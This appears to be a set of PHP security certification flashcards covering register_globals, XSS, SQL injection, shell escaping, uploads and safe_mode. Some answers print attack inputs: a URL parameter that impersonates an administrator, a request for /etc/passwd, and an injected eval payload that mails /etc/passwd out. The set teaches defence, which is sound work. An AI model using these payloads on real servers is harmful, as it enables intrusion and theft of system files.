Writing Secure PHP Applications

THE DOWNSIDE OF PHP’S low barrier-of-entry is the fact that the language is so powerful and easy to use that it’s easy to forget the importance of security in the context of web applications. Despite its significance, security is, possibly, the most-often ignored aspect of a web site. Even more unfortunately, there are so many ways to compromise a system from the inside out that one has to be constantly on the lookout for potential problems. When the SMEs were designing the exam, a great amount of emphasis was put on security—not only for the questions directly related to it, but on all questions that pertain to every other topic. Writing a secure application starts with good knowledge of a few fundamental techniques, which you will find covered in this chapter.

15 cards   |   Total Attempts: 188
  

Cards In This Set

Front Back
Which of the following is the single most important technique that can help you make your PHP application secure from external intrusion? A. Having strong encryption algorithms B. Protecting database passwords C. Using SSL whenever possible D. Validating input E. Only using input from trusted sources
The correct answer is D. Although in different ways each answer could be considered correct, by far the single largest piece of the security puzzle is the validation of information taken from any external source. Be it from a user’s form submission or from the local server environment, any data taken from a third party source should always be validated to make sure it fits within the context of each application.
Consider the following code snippet. Is this code acceptable from a security standpoint? Assume that the $action and $data variables are designed to be accepted from the user and register_globals is enabled.
The correct answer is C. This code is, by any means, not secure! In fact, it is the classic security exploit of PHP scripts using the register_globals configuration directive. The problem lies in the $isAdmin variable: although this is clearly a Boolean value, it is only set in the event that the user is an Admin and not set at all if the user is not. Because register_globals is enabled, by simply appending that variable to the end of the URL as a GET parameter, a malicious user could easily impersonate an administrator: /action.php?action=delete&data=foo&isAdmin=1
To prevent cross-site scripting attacks, one should do the following (Choose 3): A. Never use include or require statements that include files based on pathnames taken from user input (e.g.: include "$username/script.txt";) B. Disable allow_url_fopen unless it is required for the site to function C. Avoid using extensions like curl, which opens remote connections D. Use functions such as strip_tags() on input taken from one user and displayed to another E. All of the above
The correct answers are A, B, and D. A and B address the same security hole common among PHP scripts, where a malicious user is able to inject a URL into the $username variable. If a user is able to do this, and allow_url_fopen is enabled, PHP will download the script located in the script.txt file on that remote untrusted server and execute it locally as PHP code! Another common exploit, which is arguably less serious, consists of passing user input to another user, for example in a forum or e-mail, without stripping it of unwanted HTML tags. Failing to do so allows a malicious user to write JavaScript code that, when displayed to another user, can cause cross-site scripting attacks or-if it properly exploits a browser bug-cause the user to unwittingly reveal personal information.
Although the best practice is to disable register_globals entirely, if it must be enabled, what should your scripts do to prevent malicious users from compromising their security? A. Filter all data taken from untrusted sources B. Filter all data from foreign sources C. Initialize all variables prior to use D. Use hard-to-guess variable names to prevent malicious users from injecting data E. All of the above
The correct answers are B and C. Although filtering data from “untrusted” sources sounds good, the reality is that any variables whose contents are taken from any foreign source risk being compromised—thus endangering your scripts as well. When dealing with a PHP installation where register_globals is enabled, it is absolutely necessary to ensure that all variables used in the script are initialized prior to their use to prevent malicious data from being injected into them.
Often, SQL queries are constructed based on data taken from the user (for instance, a search engine). Which of the following activities can help prevent security breaches? A. Placing a firewall between the database server and the web server B. Escaping user data so that it cannot be interpreted as commands by the DBMS C. Using stored procedures D. Using object-oriented programming so that each query can be defined as a separate class
When dealing with user data in database queries, you should always escape any undesired data from the SQL code. This is a universal database-related problem—all SQL-based database packages are vulnerable to SQL injections, and PHP provides comparable escaping functions to prevent them for each.
Sometimes, it is desirable to use a third-party utility from within a PHP script to perform operations that the language does not support internally (for instance, calling a compression program to compress a file using a format that PHP does not provide an extension for). When executing system commands from PHP scripts, which of the following functions should always be used to ensure no malicious commands are injected? (Choose 2) A. Always prefer the backtick operator ` to calls such as exec(), which are less secure B. Always use the shell_exec function when possible, as it performs security checks on commands prior to executing them C. Use the escapeshellcmd function to escape shell metacharacters prior to execution D. Enable the safe_mode configuration directive prior to executing shell commands using ini_set() E. Use the escapeshellarg function to escape shell command arguments prior to execution
The correct answers are C and E. In PHP, there is no function that performs a “safe” execution of system commands for you and, in all cases where variables are involved, you should escape the command and arguments passed to the shell using the escapeshellcmd and escapeshellarg functions.
When dealing with files uploaded through HTTP, PHP stores references to them in the $_FILES superglobal array. These files must be processed or moved from their temporary location during the lifetime of the PHP script execution or they will be automatically deleted. What should be done to ensure that, when performing manipulations on a file uploaded from HTTP, the file being accessed is indeed the correct file? (Choose 2) A. Validate the filename against what the user’s browser reported it to be before using it B. Use the file_exists function to make sure the file exists before trying to manipulate it C. Check to make sure that the file provided to your script was actually uploaded through HTTP by using the is_uploaded_file function D. Move the file to a secure location using move_uploaded_file() E. Only trust files that are stored in the directory where PHP temporarily stores uploaded files.
The correct answers are C and D. Even when dealing with a file that doesn’t have to be saved after the script’s execution is complete, the is_uploaded_file function should be used prior to accessing it to ensure that the filename given was correct. Likewise, if the file must be stored for a longer period of time, it must be moved out of its temporary location. You should always use the move_uploaded_file function, which performs the same check prior to moving the file, for this purpose.
In PHP’s “Safe Mode,” what can configuration directives do to help reduce security risks? (Choose 3) A. Limit the execution of shell commands B. Limit access to system environment variables C. Limit the paths from which PHP can include files using include or require Limit the permissions of operations that can be performed against a database All of the above
The correct answers are A, B and C. Safe mode provides a number of additional security checks that can help prevent security breaches—especially on shared hosts, where multiple users have access to the same PHP instance. Although safe mode can limit, among other things, the execution of system commands, access to environment variables, and what files can be accessed for includes (for example by performing additional checks on the UID/GID of each file), it does not perform any database-related security checks.
Which of the following actions represents the simplest solution, both from an implementation and maintenance standpoint, to limiting script access to the filesystem to a specific set of directories? A. Enabling safe_mode B. Using the open_basedir directive to define the directories allowed C. Providing custom versions of PHP’s filesystem functions that validate the directories being accessed D. Setting up the permissions of your file system in such a way that PHP can only get to the directories that are allowed E. None of the above, PHP can’t restrict access on a per-directory basis
The correct answer is B; the open_basedir configuration directive allows you to define a set of directories from which PHP is allowed to read from. This configuration directive is independent of whether safe_mode is enabled and can be useful to restricting access to one or more directories. Note that option D also describes a feasible method for restricting access; however, it is less simple—and more complicated to maintain—than using open_basedir.
When uploading a file, is there a way to ensure that the client browser will disallow sending a document larger than a certain size? Yes No
The correct answer is B. Although it is possible to specify a maximum file size in your HTML form with the MAX_FILE_SIZE hidden field, there is, of course, no way to ensure that the client will be able—or willing—to enforce such a restriction.
Your web server runs PHP as a CGI interpreter with Apache on your Linux machine in the cgi-bin directory, in which it is marked as executable. What happens if someone opens the following URL on your site? /cgi-bin/php?/etc/passwd A. The contents of the /etc/passwd file are displayed, thus creating a security breach B. The operating system will check whether the Apache user has permission to open the /etc/passwd file and act accordingly C. The /etc/passwd string will be available as one of the parameters to the script D. Nothing. PHP automatically refuses to read and interpret files passed to it as a command-line option when run in CGI mode E. PHP will attempt to interpret /etc/passwd as a PHP script
When run in CGI mode, PHP automatically implements several measures aimed at preventing common security vulnerabilities. One of these is passing an arbitrary file as a command-line parameter for interpretation and execution. In this case, were these measures not in place, PHP would attempt to read /etc/passwd, which is a world-readable file, and interpret it as a PHP script, resulting in all your user accounts being outputted to the client. However, because of PHP’s built-in security mechanisms, nothing actually happens; therefore, Answer D is correct.
Although not necessarily foolproof, what of the following can help identify and prevent potential security risks in your code? (Choose the most appropriate answer) A. Being aware of potential security issues as documented in the PHP manual. B. Logging all circumstances in which your script data validation fails C. Keeping up to date with the latest versions of PHP, especially those that contain security fixes D. When using third-party PHP packages, being aware of any security holes found in them and keeping fixes up to date E. All of the above
The correct answer is E. All of the actions listed should be part of the routine of any developer serious about keeping their site secure. In order to be effective at keeping your sites secure, you must first be aware of the potential dangers. This means keeping up to date with security announcements and logging suspicious activity that could tip you off to a malicious user attempting to hack your system.
When an error occurs on your web site, how should it be treated? A. An error message should be displayed to the user with technical information regarding its apparent cause, so that the web master can address it B. The error should be logged, and a polite message indicating a server malfunction should be presented to the user C. An error message with technical information regarding the error should be displayed so that the user can send it to the webmaster and the error should be logged D. Errors should redirect the users to the home page, as to not indicate a malfunction E. None of the above
The correct answer is B. Web sites should never dump what might seem like worthless information (such as a failed SQL query) to the user. Although to most users this information means nothing, it can provide a wealth of resources to developers (including malicious hackers), who can then use them to focus their efforts on a particular attack strategy. For instance, if a malicious user is made aware of the structure of your SQL queries, it is much easier to inject the correct data into your forms to achieve a security breach. When such errors occur, the user should only be presented with a message indicating that a malfunction took place, while the full details of the error should be logged on the server for the web master to review.
Under what circumstances can the following code be considered secure?
The correct answer is D. Even if it is hidden, this code snippet can allow the user to execute arbitrary code on the server. Although it is part of a math operation, consider what would happen if $_POST['number'] contained the following string: (eval(“exec('cat /etc/passwd | mail [email protected]');”)) ? 0 : 1 This would turn the anonymous function into: return $a * (eval(“exe ('cat /etc/passwd | mail [email protected]');”)) ? 0 : 1; Which effectively allows the user to execute arbitrary code within the eval() statement while still returning what might seem like a “valid” value. Any time code is being executed dynamically, for instance using create_function() or eval(), it is extremely important that the dynamic aspects of it be checked and re-checked to make sure no injections are possible!
Which of the following PHP setups presents the highest number of potential security pitfalls and the lowest performance? A. Shared Apache module B. Compiled-in Apache module C. CGI D. ISAPI module under IIS
Although any improperly-installed version of PHP can lead to security problems, the CGI setup is the least secure of the ones listed, as, by default, it suffers from several potential issues, as well as significantly inferior performance, that need to be addressed before the server can be put online. Therefore, Answer C is correct.